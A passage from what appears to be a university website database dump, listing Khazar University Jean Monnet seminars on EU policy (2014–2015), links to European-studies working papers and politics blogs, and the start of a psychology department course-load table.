Azad Garibov, as well as master student Ramal Quluzade, spoke about their academic and personal goals in taking part in the exchange.</p><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\"><strong>Jean Monnet seminar on Turkey and the two dimensions of the European Neighbourhood Policy</strong></p><p style=\"background:undefined\"><strong>01 December 2015</strong></p><p style=\"font-family:\'times new roman\', times, serif;background:undefined\">On December 1, 2015, Assoc. Prof. Dr. Burcu Gültekin Punsmann, a Senior Researcher at the Ankara Policy Center, was hosted within the Jean Monnet European seminar series of the Department of Political Science and International Relations. During her presentation, she focused on Turkey\'s role in the Mediterranean cooperation and, particularly, on how Turkey\'s EU candidacy affected the role of this country in the Euro-Mediterranean cooperation. She also discussed the impact of the slowdown of Turkey\'s accession process to the EU on democratization and talked about the problems for the regionalization in the wider Black Sea area. Among the issues she touched upon during her lecture was also the Turkish-Armenian problems, and the impact of the EU\'s role in the wider region, the popularity of Erdogan and this factor\'s influence on Turkish relations with Maghreb countries and the Middle East. Dr. Gültekin Punsmann also briefly reflected on the different approaches demonstrated by some of the European countries and Turkey to the current refugee crisis. After offering her insights on the perspectives for the Black Sea Synergy and the BSEC, the students and the participants including Dr. Farda Asadov, Director of the Center for Eurasian and Middle Eastern Studies, and Dr. Mukhtar Hajizada, Head of the Department, proceeded to discuss in details the related topics.</p><p style=\"text-align:justify;background:undefined\">&nbsp;</p><p style=\"background:undefined\"><strong>Jean Monnet seminar on Regional Security Challenges in the Eastern European Neighbourhood</strong></p><p style=\"background:undefined\"><strong>08 June 2015</strong></p><p style=\"text-align:justify;background:undefined\">On 8 June 2015, the Department of Political Science and International Relations hosted Dr. Carol Weaver, a lecturer in international relations and regional security at De Montfort University in the United Kingdom. Dr. Weaver delivered a presentation on Regional Security Challenges in the Eastern European Neighbourhood. She also discussed her research on the Black Sea region, arguing that the current events there demonstrate balanced multipolarity in action. Dr. Weaver reflected upon the fourth Eastern Partnership summit in Riga which took place on 21-22 May 2015. The outcomes of the summit were that no partner was given a membership perspective; that differentiation would apply to the various partners so that each country can decide on how they want to proceed in their relations with the European Union; and how the countries that do not want Association Agreements can cooperate bilaterally in all areas of mutual interest. Dr. Weaver talked about how Azerbaijan is a strategically important partner to the European Union in the region.</p><p style=\"text-align:justify;background:undefined\">The presentation was followed by a lively discussion with contributions being made by the participants including the university leadership, senior academics, and students as well as exchange students. Topics ranged from newer types of cross-border security challenges such as ecological problems, cyber threats, energy security and climate change, to the upcoming referendum on the United Kingdom’s membership of the European Union, recently announced after the conservative party won the general election.&nbsp;</p><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\"><strong>Jean Monnet seminar with the&nbsp;Ambassador of France&nbsp;</strong></p><p style=\"background:undefined\"><strong>30 April 2015</strong></p><p style=\"text-align:justify;background:undefined\">On April 30, 2015, the Department of Political Science and International Relations hosted H.E. Pascal Meunier, Ambassador Extraordinary and Plenipotentiary of France in Baku within the Jean Monnet European Seminar Series. The event was dedicated to Jean Monnet, who is widely called “The Father of Europe” by those who see him as the architect of the European Union.</p><p style=\"text-align:justify;background:undefined\">Ambassador Meunier mentioned that Jean Monnet’s ideas and actions carry great clout not only in France, where he was an actor in economic life but also far beyond French borders.</p><p style=\"text-align:justify;background:undefined\">Following the presentation, Dr. Mukhtar Hajizada, Jean Monnet Chair at Khazar University, conducted a discussion on Jean Monnet’s role in national economic planning in France, as an outstanding leader in the postwar movement in Europe and as a craftsman of peace and economic prosperity on the old continent.</p><p style=\"text-align:justify;background:undefined\">After the meeting, Ambassador Meunier met with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, and talked about opportunities for future cooperation between the Embassy and University.</p><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\"><strong>Jean Monnet Lecture on the External Relations of the European Union</strong></p><p style=\"background:undefined\"><strong>05 February 2015</strong></p><p style=\"text-align:justify;background:undefined\">Dr. Mukhtar Hajizada, Jean Monnet Chair of European Integration and Head of the Department of Political Science and International Relations,&nbsp;gave a lecture on the External Relations of the European Union (EU). This lecture was the first installment of the “The EU as a Global Player” – a module taught with the support of the Erasmus+ program of the EU with an aim to deepen teaching and research in European studies.</p><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\"><img src=\"http://www.khazar.org/files/admin/16_01_22_4.0.gif\" style=\"width:150px;height:100px;margin:7px;float:left\"><img src=\"http://www.khazar.org/files/admin/16_01_22_1.0.gif\" style=\"width:150px;height:100px;margin:7px;float:left\"><img src=\"http://www.khazar.org/files/admin/16_01_22_3.0.gif\" style=\"width:150px;height:100px;margin:7px;float:left\"><br></p><p style=\"background:undefined\"><br></p><p style=\"background:undefined\"><br></p><p style=\"background:undefined\"><br></p><p style=\"background:undefined\"><strong><br></strong></p><p style=\"background:undefined\"><strong>Jean Monnet Seminar on EU\'s Energy Security Strategy</strong></p><p style=\"background:undefined\"><strong>26 November 2014</strong></p><p style=\"text-align:justify;background:undefined\">The Department of Political Science and International Relations at Khazar University hosted a seminar on the EU\'s Energy Security Strategy after the Ukrainian Crisis. The talk was delivered by Prof. Nurşin Ateşoğlu Güney, Head of the Political Science and International Relations Department at Yildiz Technical University. Prof. Güney talked about the future of the energy roadmap in the aftermath of the Ukrainian crisis. She focused on the possibility of alternative means of acquiring energy supplies to meet the energy demand of the Union. She argued that additional gas supplies to the EU will not be attainable before 2020. Therefore, she maintained that the Union should focus on reducing the demand side of the European energy equation.</p><p style=\"text-align:justify;background:undefined\"><br></p><p style=\"text-align:justify;background:undefined\"><img src=\"http://www.khazar.org/files/admin/16_01_22_12934.gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><img src=\"http://www.khazar.org/files/admin/16_01_22_12937.gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><img src=\"http://www.khazar.org/files/admin/16_01_22_12933.gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><img src=\"http://www.khazar.org/files/admin/16_01_22_12938.gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><br></p><p style=\"text-align:justify;background:undefined\"><br></p><p style=\"text-align:justify;background:undefined\"><br></p><p style=\"text-align:justify;background:undefined\"><br></p><p style=\"text-align:justify;background:undefined\"><strong><br></strong></p><p style=\"text-align:justify;background:undefined\"><strong>Jean Monnet Seminar on Policy Implementation in the EU</strong></p><p style=\"background:undefined\"><strong>19 November 2014</strong></p><p style=\"text-align:justify;background:undefined\">On November 19, the Department of Political Science and International Relations at Khazar University hosted Prof. Bernard Steunenberg, who is the Jean Monnet Ad Personam Chair in European Politics and Professor in Public Administration at Leiden University. He delivered a guest lecture in which he talked about the implementation of EU policy and applied it to the case of cultural heritage policy. He shared his insights on the different ways in which policy implementing agencies interact with national politics and the European Commission oversight, suggesting that different national implementing practices may exist. In addition, he pointed out the importance of establishing an “implementation acquis” among implementing agencies, which may help the EU to better formulate policies in the future.</p><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\"><img src=\"http://www.khazar.org/files/admin/16_01_22_6...gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><img src=\"http://www.khazar.org/files/admin/16_01_22_5...gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><img src=\"http://www.khazar.org/files/admin/16_01_22_4...gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><img src=\"http://www.khazar.org/files/admin/16_01_22_3...gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><br></p><p style=\"background:undefined\"><br></p><p style=\"background:undefined\"><br></p><p style=\"background:undefined\"><br></p><p style=\"background:undefined\"><strong><br></strong></p><p style=\"background:undefined\"><strong>First Jean Monnet Chair in Azerbaijan Awarded to Dr. Mukhtar Hajizada</strong></p><p style=\"background:undefined\"><strong>17 September 2014</strong></p><p style=\"text-align:justify;background:undefined\">Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, was awarded the globally recognized and prestigious Jean Monnet Chair for his academic and pedagogical activities and his professional level in the field of European integration.</p><p style=\"text-align:justify;background:undefined\">The Jean Monnet Chair is a teaching title recognizing the quality of teaching and innovation specializing in European studies. &nbsp;The Jean Monnet Chair Award is given by the European Commission based on a global-scale international competition for a term of 3 years to support teaching and research on European integration. It should be noted that Dr. Hajizada is the first Jean Monnet Chair ever to win this award&nbsp;in Azerbaijan and only person in the South Caucasus in 2014. &nbsp;</p><p style=\"text-align:justify;background:undefined\"><br></p><p style=\"text-align:center;background:undefined\"><strong><span style=\"font-size:12pt;line-height:18.4px;font-family:\'Times New Roman\', serif\">Working Papers</span></strong></p><table cellspacing=\"0\" cellpadding=\"0\" width=\"646\"><tbody><tr><td width=\"646\"><p style=\"background:undefined\">University of Leeds,</p><p style=\"background:undefined\">School of Politics and international Studies</p><p style=\"background:undefined\"><a href=\"http://www.polis.leeds.ac.uk/research/working-papers\">http://www.polis.leeds.ac.uk/research/working-papers</a></p></td></tr><tr><td width=\"646\"><p style=\"background:undefined\">University of Bristol,</p><p style=\"background:undefined\">The School of Sociology, Politics, and International Studies Working Paper series</p><p style=\"background:undefined\"><a href=\"http://www.bristol.ac.uk/spais/research/workingpapers/\">http://www.bristol.ac.uk/spais/research/workingpapers/</a></p></td></tr><tr><td width=\"646\"><p style=\"background:undefined\">European University Institute,</p><p style=\"background:undefined\">Working Papers in Political and Social Sciences</p><p style=\"background:undefined\"><a href=\"http://www.eui.eu/Research/Library/Collections/WorkingPapersPoliticalSocial.aspx\">http://www.eui.eu/Research/Library/Collections/WorkingPapersPoliticalSocial.aspx</a></p></td></tr><tr><td width=\"646\"><p style=\"background:undefined\">University of Pittsburgh, European Studies Center</p><p style=\"background:undefined\">Policy and Working Paper Series</p><p style=\"background:undefined\"><a href=\"http://www.ucis.pitt.edu/esc/content/policy-and-working-paper-series\">http://www.ucis.pitt.edu/esc/content/policy-and-working-paper-series</a></p></td></tr><tr><td width=\"646\"><p style=\"background:undefined\">University of Oslo, ARENA Centre for European Studies</p><p style=\"background:undefined\">ARENA Working Papers</p><p style=\"background:undefined\"><a href=\"http://www.sv.uio.no/arena/english/research/publications/arena-publications/workingpapers/\">http://www.sv.uio.no/arena/english/research/publications/arena-publications/workingpapers/</a></p></td></tr><tr><td width=\"646\"><p style=\"background:undefined\">Free University of Berlin</p><p style=\"background:undefined\">Working Papers of the Institute for East European Studies</p><p style=\"background:undefined\"><a href=\"http://www.oei.fu-berlin.de/politik/publikationen/index.html\">http://www.oei.fu-berlin.de/politik/publikationen/index.html</a></p></td></tr><tr><td width=\"646\"><p style=\"background:undefined\">University of Stuttgart, Department of International Relations and European Integration</p><p style=\"background:undefined\">The International Relations Online Working Paper series</p><p style=\"background:undefined\"><a href=\"http://www.uni-stuttgart.de/soz/ib/forschung/IRWorkingPapers/\">http://www.uni-stuttgart.de/soz/ib/forschung/IRWorkingPapers/</a></p></td></tr><tr><td width=\"646\"><p style=\"background:undefined\">Australian National University, Centre for European Studies Working papers</p><p style=\"background:undefined\"><a href=\"http://politicsir.cass.anu.edu.au/centres/anu-centre-for-european-studies/publications/working-papers\">http://politicsir.cass.anu.edu.au/centres/anu-centre-for-european-studies/publications/working-papers</a></p></td></tr><tr><td width=\"646\"><p style=\"background:undefined\">Harvard University, The Minda de Gunzburg Center for European Studies</p><p style=\"background:undefined\">CES Working Papers Series</p><p style=\"background:undefined\"><a href=\"http://www.people.fas.harvard.edu/~ces/publications/ces_papers.html\">http://www.people.fas.harvard.edu/~ces/publications/ces_papers.html</a></p></td></tr><tr><td width=\"646\"><p style=\"background:undefined\">University of Glasgow, Centre for Russian, Central and East European Studies Working Papers Series</p><p style=\"background:undefined\"><a href=\"http://www.gla.ac.uk/schools/socialpolitical/crcees/research/workingpapersseries/\">http://www.gla.ac.uk/schools/socialpolitical/crcees/research/workingpapersseries/</a></p></td></tr><tr><td width=\"646\"><p style=\"background:undefined\">University of Amsterdam, European Studies Working Papers</p><p style=\"background:undefined\"><a href=\"http://www.uva.nl/en/disciplines/european-studies/research/working-papers.html\">http://www.uva.nl/en/disciplines/european-studies/research/working-papers.html</a></p></td></tr></tbody></table><p style=\"background:undefined\"><strong>&nbsp;</strong></p><p style=\"text-align:center;background:undefined\"><strong><span style=\"font-size:12pt;line-height:18.4px;font-family:\'Times New Roman\', serif\">Academic blogs on European Politics</span></strong></p><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"630\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ideas on Europe</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://ideasoneurope.eu/\">http://ideasoneurope.eu/</a>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><span style=\"text-align:justify\">Ideas on Europe is a blog hosting service which provides an independent forum for informed analysis, comment and debate. Created by&nbsp;</span><a href=\"http://www.uaces.org/\" style=\"text-align:justify\">UACES</a><span style=\"text-align:justify\">&nbsp;(University Association for Contemporary European Studies) it hosts blogs by </span>organisations<span style=\"text-align:justify\"> and individuals actively engaged in European issues.</span></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;background:white;vertical-align:baseline\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;background:white;vertical-align:baseline\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><span style=\"text-align:justify\">Blogging on Ideas </span>on<span style=\"text-align:justify\"> Europe can help you to&nbsp;make an impact beyond your </span>organisation<span style=\"text-align:justify\"> and area of expertise. With&nbsp;a diverse&nbsp;</span><a href=\"http://ideasoneurope.eu/contributors-2/\" style=\"text-align:justify\">community of bloggers</a><span style=\"text-align:justify\">&nbsp;and a wide-ranging readership from all corners of the globe, you can&nbsp;quickly disseminate and receive feedback on new research or&nbsp;ideas.</span></p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p></td></tr><tr><td width=\"630\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The Oxford University Politics Blog</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://blog.politics.ox.ac.uk/\">http://blog.politics.ox.ac.uk/</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(\" \");=\"\" text-align:=\"\" justify;\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hosted by the Department of Politics and International Relations at the University of Oxford, this blog aims to promote our academic research and commentary to readers in and outside the university.</p></td></tr><tr><td width=\"630\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">European Futures</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://www.europeanfutures.ed.ac.uk/\">http://www.europeanfutures.ed.ac.uk/</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:15.75pt;background:white;vertical-align:baseline\"\"=\"\" style=\"background-image: url(\" \");=\"\" text-align:=\"\" justify;\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><em>European Futures</em>&nbsp;is an academic blog from the&nbsp;<a href=\"http://www.ed.ac.uk/\" target=\"_blank\">University of Edinburgh</a>&nbsp;and the&nbsp;<a href=\"http://www.europa.ed.ac.uk/\" target=\"_blank\">Edinburgh Europa Institute</a>&nbsp;which imagines Europe and its futures and provokes thought and debate on the issues facing Europe today.</p><p margin-top:0in;margin-right:0in;margin-bottom:.25in;margin-left:0in;text-align:justify;line-height:15.75pt;background:white;vertical-align:baseline\"\"=\"\" style=\"background-image: url(\" \");=\"\" text-align:=\"\" justify;\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The blog is an online platform featuring commentary, analysis and insight on Europe and European affairs, broadly defined, by academics and practitioners from the University of Edinburgh and beyond.</p></td></tr><tr><td width=\"630\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">\"Europe is talking\" (The blog of the College of Europe Community)</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://blog.coleurope.eu/\">http://blog.coleurope.eu/</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(\" \");=\"\" text-align:=\"\" justify;\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Europe is talking is the blog of the College of Europe community. Its aim is to be a forum for discussion of European affairs by the members of this community – students, professors, academic assistants, alumni and guest speakers – and with the general public.</p></td></tr><tr><td width=\"630\"><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Britain &amp; Europe</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://britain-europe.com/\">http://britain-europe.com/</a>&nbsp;&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(\" \");=\"\" text-align:=\"\" justify;\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">This blog features contributions from&nbsp;UCL academics, scholars from other UK and international universities, and experts from the field, to create the first bespoke, university-hosted blog on Britain’s relationship to the European Union.</p></td></tr><tr><td width=\"630\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Politics @Surrey</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://blogs.surrey.ac.uk/politics/\">http://blogs.surrey.ac.uk/politics/</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The blog of the Department of Politics at the University of Surrey</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p></td></tr><tr><td width=\"630\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">UK-EU Referendum Watch</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://blogs.kent.ac.uk/uk-eu-ref-watch/\">http://blogs.kent.ac.uk/uk-eu-ref-watch/</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">This is the blog of the UK-EU Referendum Watch hosted by the Global Europe Centre (GEC) at the University of Kent. This blog will provide non-partisan coverage of the UK’s referendum on EU membership.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p></td></tr><tr><td width=\"630\" style=\"text-align:justify\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Blog of the University College Dublin\'s School of Politics and International Relations (SPIRe)</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://politicalscience.ie/\">http://politicalscience.ie/</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p><p margin-top:0in;margin-right:0in;margin-bottom:.25in;margin-left:0in;text-align:justify;line-height:15.75pt;background:white;vertical-align:baseline\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">At politicalscience.ie you can find all of the latest news on SPIRe’s ground-breaking research, upcoming speakers and events, and new programs.&nbsp;&nbsp;</p></td></tr><tr><td width=\"630\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">EUDO Cafe (European University Institute)</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"https://blogs.eui.eu/eudo-cafe/\">https://blogs.eui.eu/eudo-cafe/</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p><p margin-top:0in;margin-right:0in;margin-bottom:6.0pt;margin-left:0in;text-align:justify;background:white\"\"=\"\" style=\"background-image: url(\" \");=\"\" text-align:=\"\" justify;\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The EUDO Cafe is a place for discussing ideas on the challenges facing democracy in today’s Europe.</p><p margin-top:0in;margin-right:0in;margin-bottom:6.0pt;margin-left:0in;text-align:justify;background:white\"\"=\"\" style=\"background-image: url(\" \");=\"\" text-align:=\"\" justify;\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Starting in Spring 2010, it hosts periodical, invited posts inspired by current events in worldwide and European politics, by&nbsp;groundbreaking research at&nbsp;<a href=\"http://www.eudo.eu/\">EUDO</a>, as well as by debates in the press.</p><p margin-top:0in;margin-right:0in;margin-bottom:6.0pt;margin-left:0in;text-align:justify;background:white\"\"=\"\" style=\"background-image: url(\" \");=\"\" text-align:=\"\" justify;\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Posts will be open for discussion to everyone: scholars, politicians, journalists and occasional visitors. As its name states, the EUDO Cafe is supposed to be an unrestricted place for&nbsp;free-flowing, open discussion on the general issues and challenges facing democracy in Europe. Its aim is to attract academic experts, practitioners and ‘regular citizens’ alike.</p></td></tr><tr><td width=\"630\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ballots and Bullets</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://nottspolitics.org/\">http://nottspolitics.org/</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(\" \");=\"\" text-align:=\"\" justify;\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">This blog is produced by members of the School of Politics and International Relation at the University of Nottingham, and by regular guest pieces. The analysis contained in each entry is informed by our internationally-ranked research, and we hope it will help readers better understand the political dynamics that underpin the world in which we all live. The School of Politics and International Relations takes no institutional position and all authors views are their own.</p></td></tr><tr><td width=\"630\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Manchester Policy Blogs</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://blog.policy.manchester.ac.uk/\">http://blog.policy.manchester.ac.uk/</a></p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p></td></tr></tbody></table><p style=\"background:undefined\">&nbsp;</p><p style=\"text-align:justify;background:undefined\"><br></p><p style=\"text-align:justify;background:undefined\"><br></p><p style=\"text-align:justify;background:undefined\"><img src=\"http://www.khazar.org/files/politics_depart/eu_flag_co_funded_pos_rgb_right_0.jpg\" style=\"width:300px;height:85px;float:left\"></p></div><div><br></div>'),(1249,648,'az','Tədris yükü','Tədris yükü','<br>\r\n<br>\r\n<table cellpadding=\"0\" cellspacing=\"0\" width=\"1043\" style=\"\" border-collapse:collapse;width:783pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"21\">\r\n  <td colspan=\"8\" height=\"21\" class=\"xl76\" width=\"1043\" style=\"text-align: center;\" border-right:.5pt=\"\" solid=\"\" black;height:15.75pt;width:783pt\"\"=\"\"><h3><strong>Department of Psychology</strong></h3></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">SOC202</td>\r\n  <td>Statistics 2\r\n  \\Statistika 2</td>\r\n  <td>3</td>\r\n  <td>Mahammad Nurmammadov</td>\r\n  <td>5</td>\r\n  <td>AZE</td>\r\n  <td>SOC102</td>\r\n  <td>45 hr.</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC102</td>\r\n  <td>Introduction to\r\n  psychology \\Psixologiyaya giriş</td>\r\n  <td>3</td>\r\n  <td>Farah Adigozalova</td>\r\n  <td>25</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>X</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC250</td>\r\n  <td>History of psychology\r\n  \\Psixologiya tarixi</td>\r\n  <td>3</td>\r\n  <td>Nilufar Alizada&nbsp;</td>\r\n  <td>34</td>\r\n  <td>AZE</td>\r\n  <td>ENGL216</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">BMED100</td>\r\n  <td>Medical Biology\r\n  \\Tibbi biologiya</td>\r\n  <td>3</td>\r\n  <td>Zaur Karimov</td>\r\n  <td>18</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC310</td>\r\n  <td>Child psychology\r\n  \\Uşaq psixologiyası</td>\r\n  <td>3</td>\r\n  <td>Kamala Aliyeva</td>\r\n  <td>10</td>\r\n  <td>AZE</td>\r\n  <td>PSYC201</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC311</td>\r\n  <td>Social psychology\r\n  \\Sosial psixologiya</td>\r\n  <td>3</td>\r\n  <td>Laman Verdiyeva</td>\r\n  <td>5</td>\r\n  <td>AZE</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC415</td>\r\n  <td>Organizational\r\n  psychology \\İdarəetmə psixologiyası</td>\r\n  <td>3</td>\r\n  <td>Nilufar Alizada&nbsp;</td>\r\n  <td>5</td>\r\n  <td>AZE</td>\r\n  <td>PSYC102</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC401</td>\r\n  <td>Research Methods in\r\n  psychology \\Psixologiyada tədqiqat metodları</td>\r\n  <td>3</td>\r\n  <td>Anar Babayev</td>\r\n  <td>7</td>\r\n  <td>AZE</td>\r\n  <td>SOC202</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSYC202</td>\r\n  <td>Personality\r\n  psychology \\Şəxsiyyət psixologiyası</td>\r\n  <td>3</td>\r\n  <td>Kamala Aliyeva</td>\r\n  <td>7</td>\r\n 